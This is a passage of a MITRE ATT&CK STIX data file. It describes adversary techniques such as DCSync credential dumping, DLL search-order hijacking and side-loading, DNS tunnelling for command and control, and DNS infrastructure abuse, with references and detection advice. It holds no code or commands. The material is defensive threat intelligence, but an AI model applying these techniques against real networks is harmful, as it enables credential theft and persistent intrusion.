                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "source_name": "F-Secure Cosmicduke"
                },
                {
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "source_name": "Fidelis DarkComet"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003.006",
                    "url": "https://attack.mitre.org/techniques/T1003/006"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "source_name": "Microsoft DRSR Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "source_name": "Microsoft GetNCCChanges"
                },
                {
                    "url": "https://wiki.samba.org/index.php/DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "source_name": "Samba DRSUAPI"
                },
                {
                    "url": "https://source.winehq.org/WineAPI/samlib.html",
                    "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.",
                    "source_name": "Wine API samlib.dll"
                },
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
                    "source_name": "ADSecurity Mimikatz DCSync"
                },
                {
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.",
                    "source_name": "Harmj0y Mimikatz and DCSync"
                },
                {
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "source_name": "InsiderThreat ChangeNTLM July 2017"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "source_name": "GitHub Mimikatz lsadump Module"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "source_name": "Microsoft NRPC Dec 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "source_name": "Microsoft SAMR"
                },
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "source_name": "AdSecurity DCSync Sept 2015"
                },
                {
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "source_name": "Harmj0y DCSync Sept 2015"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DCSync",
            "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",
            "id": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-22T20:20:14.595Z",
            "created": "2020-02-11T18:45:34.293Z",
            "x_mitre_contributors": [
                "ExtraHop",
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Access",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)\n\nNote: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "url": "https://attack.mitre.org/techniques/T1038",
                    "external_id": "T1038",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://capec.mitre.org/data/definitions/471.html",
                    "source_name": "capec",
                    "external_id": "CAPEC-471"
                },
                {
                    "source_name": "Microsoft DLL Search",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
                },
                {
                    "source_name": "OWASP Binary Planting",
                    "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
                    "url": "https://www.owasp.org/index.php/Binary_planting"
                },
                {
                    "source_name": "Microsoft 2269637",
                    "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
                    "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"
                },
                {
                    "source_name": "Microsoft DLL Redirection",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682600"
                },
                {
                    "source_name": "Microsoft Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
                    "url": "https://msdn.microsoft.com/en-US/library/aa375365"
                },
                {
                    "source_name": "Mandiant Search Order",
                    "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
                    "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
                }
            ],
            "name": "DLL Search Order Hijacking",
            "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-26T14:49:47.091Z",
            "created": "2017-05-31T21:30:40.604Z"
        },
        {
            "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
            "name": "DLL Search Order Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.001",
                    "url": "https://attack.mitre.org/techniques/T1574/001"
                },
                {
                    "external_id": "CAPEC-471",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/471.html"
                },
                {
                    "source_name": "Microsoft Dynamic Link Library Search Order",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN",
                    "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."
                },
                {
                    "source_name": "FireEye Hijacking July 2010",
                    "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html",
                    "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020."
                },
                {
                    "source_name": "OWASP Binary Planting",
                    "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
                    "url": "https://www.owasp.org/index.php/Binary_planting"
                },
                {
                    "source_name": "FireEye fxsst June 2011",
                    "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html",
                    "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020."
                },
                {
                    "source_name": "Microsoft Security Advisory 2269637",
                    "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637",
                    "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020."
                },
                {
                    "source_name": "Microsoft Dynamic-Link Library Redirection",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN",
                    "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020."
                },
                {
                    "source_name": "Microsoft Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
                    "url": "https://msdn.microsoft.com/en-US/library/aa375365"
                },
                {
                    "source_name": "FireEye DLL Search Order Hijacking",
                    "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html",
                    "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-26T18:37:03.748Z",
            "created": "2020-03-13T18:11:08.357Z",
            "x_mitre_platforms": [
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            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Module: Module Load"
            ],
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1073",
                    "url": "https://attack.mitre.org/techniques/T1073"
                },
                {
                    "external_id": "CAPEC-641",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/641.html"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/aa375365",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.",
                    "source_name": "MSDN Manifests"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
                    "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.",
                    "source_name": "Stewart 2014"
                }
            ],
            "name": "DLL Side-Loading",
            "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-20T14:28:39.529Z",
            "created": "2017-05-31T21:30:58.007Z"
        },
        {
            "created": "2020-03-13T19:41:37.908Z",
            "modified": "2021-04-26T18:31:34.954Z",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.002",
                    "url": "https://attack.mitre.org/techniques/T1574/002"
                },
                {
                    "external_id": "CAPEC-641",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/641.html"
                },
                {
                    "source_name": "FireEye DLL Side-Loading",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
                    "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."
                }
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            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DLL Side-Loading",
            "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",
            "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
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                "Anti-virus",
                "Application control"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Module: Module Load",
                "Process: Process Creation"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1071.004",
                    "url": "https://attack.mitre.org/techniques/T1071/004"
                },
                {
                    "source_name": "PAN DNS Tunneling",
                    "url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling",
                    "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020."
                },
                {
                    "source_name": "Medium DnsTunneling",
                    "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000",
                    "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020."
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ",
            "id": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-10-21T16:26:34.196Z",
            "created": "2020-03-15T16:27:31.768Z",
            "x_mitre_contributors": [
                "Jan Petrov, Citi"
            ],
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            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1590.002",
                    "url": "https://attack.mitre.org/techniques/T1590/002"
                },
                {
                    "source_name": "DNS Dumpster",
                    "url": "https://dnsdumpster.com/",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Circl Passive DNS",
                    "url": "https://www.circl.lu/services/passive-dns/",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DNS",
            "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:29:18.740Z",
            "created": "2020-10-02T15:47:10.102Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1568.003",
                    "url": "https://attack.mitre.org/techniques/T1568/003"
                },
                {
                    "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/",
                    "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                    "source_name": "Meyers Numbered Panda"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Moran 2014"
                },
                {
                    "source_name": "Rapid7G20Espionage",
                    "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
                    "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DNS Calculation",
            "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
            "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-27T20:54:28.287Z",
            "created": "2020-03-11T14:56:34.154Z",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1583.002",
                    "url": "https://attack.mitre.org/techniques/T1583/002"
                },
                {
                    "source_name": "Unit42 DNS Mar 2019",
                    "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/",
                    "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DNS Server",
            "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",
            "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:49:49.702Z",
            "created": "2020-10-01T00:40:45.279Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1584.002",
                    "url": "https://attack.mitre.org/techniques/T1584/002"
                },
                {
                    "source_name": "Talos DNSpionage Nov 2018",
                    "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."
                },
                {
                    "source_name": "FireEye DNS Hijack 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html",
                    "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020."
                },
                {
                    "source_name": "CiscoAngler",
                    "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.",
                    "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing"
                },
                {
                    "source_name": "Proofpoint Domain Shadowing",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows",
                    "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)",
            "name": "DNS Server",
            "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:01:54.609Z",
            "created": "2020-10-01T00:54:30.869Z",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1596.001",
                    "url": "https://attack.mitre.org/techniques/T1596/001"
                },
                {
                    "source_name": "DNS Dumpster",
                    "url": "https://dnsdumpster.com/",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Circl Passive DNS",
                    "url": "https://www.circl.lu/services/passive-dns/",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DNS/Passive DNS",
